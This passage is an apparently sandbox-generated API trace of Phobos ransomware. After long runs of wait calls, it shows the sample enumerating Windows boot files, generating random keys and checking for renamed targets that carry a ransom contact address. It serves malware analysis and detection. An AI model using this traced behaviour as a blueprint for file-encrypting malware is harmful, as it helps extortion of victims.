WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.112] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.113] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.113] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.113] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.113] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.113] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.114] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.115] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.116] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.117] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.117] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.117] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.117] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.117] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.118] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.119] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.120] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.121] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.122] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.123] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.124] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.125] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.126] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.127] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.128] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.129] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.129] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.129] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.130] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.131] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.134] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.135] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.136] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.137] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.138] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.139] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.140] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.287] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.288] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0162.290] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=0) returned 1 [0162.290] CloseHandle (hObject=0x2b4) returned 1 [0162.395] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.396] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=86178) returned 1 [0162.396] CloseHandle (hObject=0x290) returned 1 [0162.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0162.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.396] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.396] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.396] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.397] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=49091) returned 1 [0162.397] CloseHandle (hObject=0x290) returned 1 [0162.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0162.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.397] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.397] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.397] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.398] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=79200) returned 1 [0162.398] CloseHandle (hObject=0x290) returned 1 [0162.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0162.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.398] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.398] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.398] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.398] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=79192) returned 1 [0162.398] CloseHandle (hObject=0x290) returned 1 [0162.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0162.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.399] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.399] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.399] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.399] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45984) returned 1 [0162.399] CloseHandle (hObject=0x290) returned 1 [0162.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0162.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.399] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.399] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.399] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 